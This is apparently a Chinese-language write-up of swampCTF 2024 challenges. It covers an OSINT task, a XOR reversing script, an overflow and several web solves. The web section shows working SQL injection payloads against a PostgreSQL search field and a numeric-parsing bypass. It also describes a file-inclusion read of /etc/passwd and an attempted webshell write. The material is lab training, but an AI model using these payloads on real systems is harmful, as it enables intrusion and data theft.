swampCTF 2024

swampCTF 2024

MISC

Discord Challenge

swampCTF{w3lc0m3_t0_th3_swamp}

What the Form

google form不停重定向,直接F12看一下。flag就在前端。

swampCTF{F0rm5_K33p5_D4T4_H1dd3n}

OSINT

Lost in Space

图片是旅行者2号,问距离地球多少个天文单位。

复制代码
136

Aerial Attack

解析图片exif信息,即可获得GPS坐标,按照规则构造即可。

复制代码
(29.64,-82.33)

WEB

Potion Seller

看了hint是提示wtfjs,查看wtfjs文档的parseInt和Number部分,尝试了几个例子,发现1/1999999可以随意清空贷款绕过检查。

复制代码
https://github.com/denysdovhan/wtfjs/blob/master/README-zh-cn.md

首先通过/borrow?amount=999999借入一定数量的金币。

然后在还款的时候利用repay?amount=1%20/%201999999绕过检测,实现贷款还款。

最后/checkout获得flag

BrailleDB-1

searchText处存在sql注入漏洞,尝试利用,却发现不存在database()函数,考虑不是mysql。

通过查询version,得知后端数据库是postgreSQL数据。

sql 复制代码
Q: searchText=-1' union select current_database()--
R: brailleDB

Q:searchText=-1' union select relname from pg_stat_user_tables--
R: braille

Q: searchText=-1' union select column_name from information_schema.columns where table_name='braille'--
R: braille_representation
复制代码
结合burp fuzzing offset位来读取列
Q: searchText=-1' union select relname from pg_stat_user_tables offset 1--
R: flag
复制代码
有flag列和id列
Q:searchText=-1' union select column_name from information_schema.columns where table_name='flag' offset 0--
R: flag
Q:searchText=-1' union select column_name from information_schema.columns where table_name='flag' offset 1--
R: id

最后payload:

复制代码
searchText=-1' union select flag from flag offset 0--
复制代码
swampCTF{Un10n_A11_Th3_W4yyy!}

UnderConstruction

page参数,猜测可以任意文件读取。果然可以成功读取了/etc/passwd,读不了源码,会被直接解析。

登录处有sql注入漏洞,但是数据库中没有找到flag。考虑用sql注入读文件先读源码看看,限制了报错注入的字符回显长度,只能结合burp来慢慢获取源码。

index.php

php 复制代码
<?php
ini_set('display_errors', 0);
if (isset($_GET['page']) {
    include("/var/www/html/".$_GET['page']);
} else { header('HTTP/1.1 301 Moved Permenently');
    header('Location: /?page=under_construction.php');
}
?>

果然是文件包含漏洞,所以应该考虑sql注入写webshell,然后文件包含执行。

/etc/mysql/mariadb.conf.d/50-server.cnf

复制代码
# # These groups are read by MariaDB server. 
# Use it for options that only the server (but not clients) should see # this is read by the standalone daemon and embedded servers [server] 
# this is only for the mysqld standalone daemon [mysqld] 
# # * Basic Settings 
# user = mysql 
pid-file = /run/mysqld/mysqld.pid 
basedir = /usr 
datadir = /var/lib/mysql 
tmpdir = /tmp 
lc-messages-dir = /usr/share/mysql 
lc-messages = en_US skip-external-locking 
# Broken reverse DNS slows down connections considerably and name resolve is 
# safe to skip if there are no "host by domain name" access grants 
#skip-name-resolve 
# Instead of skip-networking the default is now to listen only on 
# localhost which is more compatible and is not less secure. 
bind-address = 127.0.0.1 
# # * Fine Tuning 
# #key_buffer_size = 128M 
#max_allowed_packet = 1G 
#thread_stack = 192K 
#thread_cache_size = 8 
# This replaces the startup script and checks MyISAM tables if needed 
# the first time they are touched 
#myisam_recover_options = BACKUP 
#max_connections = 100 
#table_cache = 64 
# # * Logging and Replication 
# # Both location gets rotated by the cronjob. # Be aware that this log type is a performance killer. 
# Recommend only changing this at runtime for short testing periods if needed! #general_log_file = /var/log/mysql/mysql.log 
#general_log = 1 
# When running under systemd, error logging goes via stdout/stderr to journald 
# and when running legacy init error logging goes to syslog due to 
# /etc/mysql/conf.d/mariadb.conf.d/50-mysqld_safe.cnf 
# Enable this if you want to have error logging into a separate file 
#log_error = /var/log/mysql/error.log 
# Enable the slow query log to see queries with especially long duration #slow_query_log_file = /var/log/mysql/mariadb-slow.log 
#long_query_time = 10 
#log_slow_verbosity = query_plan,explain 
#log-queries-not-using-indexes 
#min_examined_row_limit = 1000 
# The following can be used as easy to replay backup logs or for replication. 
# note: if you are setting up a replication slave, see REA

但是写文件没有成功,不管是webroot还是/tmp都没有成功。感觉应该是得写文件,然后文件包含执行shell。虽然没做出来但是也记录一下了。

RE

Beginner Rev

做异或运算,那么找一下byte_402010

这里的32个字节的字符。用python写一个脚本跑一下:

python 复制代码
from Crypto.Util.number import *
codes = [0x32, 0x36, 0x20, 0x2C, 0x31, 0x2, 0x15, 0x7, 0x3A, 0x19, 0x71, 0x13, 0x1E, 0x28, 0x2F, 0x37, 0x71, 0x2D, 0x34, 0x35, 0x28, 0x71, 0x2F, 0x1E, 0x28, 0x74, 0x1E, 0x22, 0x71, 0x71, 0x2D, 0x3C]
result = ""
for i in codes:
    result += long_to_bytes(i^0x41).decode()
print(result)
复制代码
swampCTF{X0R_inv0luti0n_i5_c00l}

PWN

Beginner Pwn 1

数组越界,内存溢出破坏其他变量。从而让自己成为admin。

复制代码
swampCTF{y0u_@r3_a_h@ck3r}
相关推荐
敖行客 Allthinker2 小时前
云原生安全观察:零信任架构与动态防御的下一代免疫体系
安全·ai·云原生·架构·kubernetes·ebpf
卿着飞翔4 小时前
系统架构设计师论文分享-论系统安全设计
安全·系统架构·系统安全
Bruce_Liuxiaowei5 小时前
Netstat高级分析工具:Windows与Linux双系统兼容的精准筛查利器
linux·运维·网络·windows·安全
开开心心就好7 小时前
高效报价软件,简化商铺定价流程
服务器·数据库·安全·面试·职场和发展·电脑·symfony
科技云报道15 小时前
2025全球数字经济大会—云智算安全论坛暨第三届“SecGo论坛”成功召开!共筑安全新生态
安全
群联云防护小杜18 小时前
构建分布式高防架构实现业务零中断
前端·网络·分布式·tcp/ip·安全·游戏·架构
独行soc19 小时前
2025年渗透测试面试题总结-2025年HW(护网面试) 33(题目+回答)
linux·科技·安全·网络安全·面试·职场和发展·护网
花木偶20 小时前
【郑大二年级信安小学期】Day6:CTF密码学&杂项&工具包
安全·web安全·密码学
qq_3129201121 小时前
主机安全-开源HIDS字节跳动Elkeid使用
安全
黑客老李1 天前
EDUSRC:智慧校园通用漏洞挖掘(涉校园解决方案商)
服务器·前端·网络·安全·web安全